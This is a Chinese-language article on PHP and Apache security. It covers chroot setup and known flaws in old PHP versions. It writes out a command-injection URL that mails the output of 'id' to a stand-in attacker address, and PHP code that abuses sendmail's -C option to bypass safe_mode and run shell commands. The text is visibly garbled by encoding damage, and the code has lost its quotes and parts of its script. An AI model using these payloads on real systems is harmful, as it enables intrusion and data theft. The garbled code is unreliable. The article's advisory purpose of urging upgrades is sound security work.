PHP其實(shí)不過是Web服務(wù)器的一個(gè)模塊功能,所以首先要保證Web服務(wù)器的安全。當(dāng)然Web服務(wù)器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠(yuǎn)了,無窮無盡。PHP可以和各種Web服務(wù)器結(jié)合,這里也只討論Apache。非常建議以chroot方式安裝啟動(dòng)Apache,這樣即使Apache和PHP及其腳本出現(xiàn)漏洞,受影響的也只有這個(gè)禁錮的系統(tǒng),不會(huì)危害實(shí)際系統(tǒng)。但是使用chroot的Apache后,給應(yīng)用也會(huì)帶來一定的麻煩,比如連接mysql時(shí)必須用127.0.0.1地址使用tcp連接而不能用localhost實(shí)現(xiàn)socket連接,這在效率上會(huì)稍微差一點(diǎn)。還有mail函數(shù)發(fā)送郵件也是個(gè)問題,因?yàn)閜hp.ini里的:
[mail function] ; For Win32 only. SMTP = localhost ; For Win32 only. sendmail_from = me@localhost.com |
都是針對(duì)Win32平臺(tái),所以需要在chroot環(huán)境下調(diào)整好sendmail。
二、PHP本身問題
1、遠(yuǎn)程溢出
PHP-4.1.2以下的所有版本都存在文件上傳遠(yuǎn)程緩沖區(qū)溢出漏洞,而且攻擊程序已經(jīng)廣泛流傳,成功率非常高.
2、遠(yuǎn)程拒絕服務(wù)
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請(qǐng)求處理遠(yuǎn)程漏洞,雖然不能獲得本地用戶權(quán)限,但是也能造成拒絕服務(wù)。
3、safe_mode繞過漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數(shù)繞過safe_mode限制執(zhí)行命令漏洞,4.0.5版本開始mail函數(shù)增加了第五個(gè)參數(shù),由于設(shè)計(jì)者考慮不周可以突破safe_mode的限制執(zhí)行命令。其中4.0.5版本突破非常簡單,只需用分號(hào)隔開后面加shell命令就可以了,比如存在PHP腳本evil.php:
執(zhí)行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com
這將id執(zhí)行的結(jié)果發(fā)送給evil@domain.com。
對(duì)于4.0.6至4.2.2的PHP突破safe_mode限制其實(shí)是利用了sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail。如下的代碼能夠突破safe_mode限制執(zhí)行命令:
#注意,下面這兩個(gè)必須是不存在的,或者它們的屬主和本腳本的屬主是一樣:
$script=/tmp/script123; $cf=/tmp/cf123; $fd = fopen($cf, w); fwrite($fd, OQ/tmp Sparse=0 R$* . chr(9) . $#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script); fclose($fd); $fd = fopen($script, w); fwrite($fd, rm -f $script $cf; ); fwrite($fd, $cmd); fclose($fd); mail(nobody, , , , -C$cf); ?> |
還是使用以上有問題版本PHP的用戶一定要及時(shí)升級(jí)到最新版本,這樣才能消除基本的安全問題。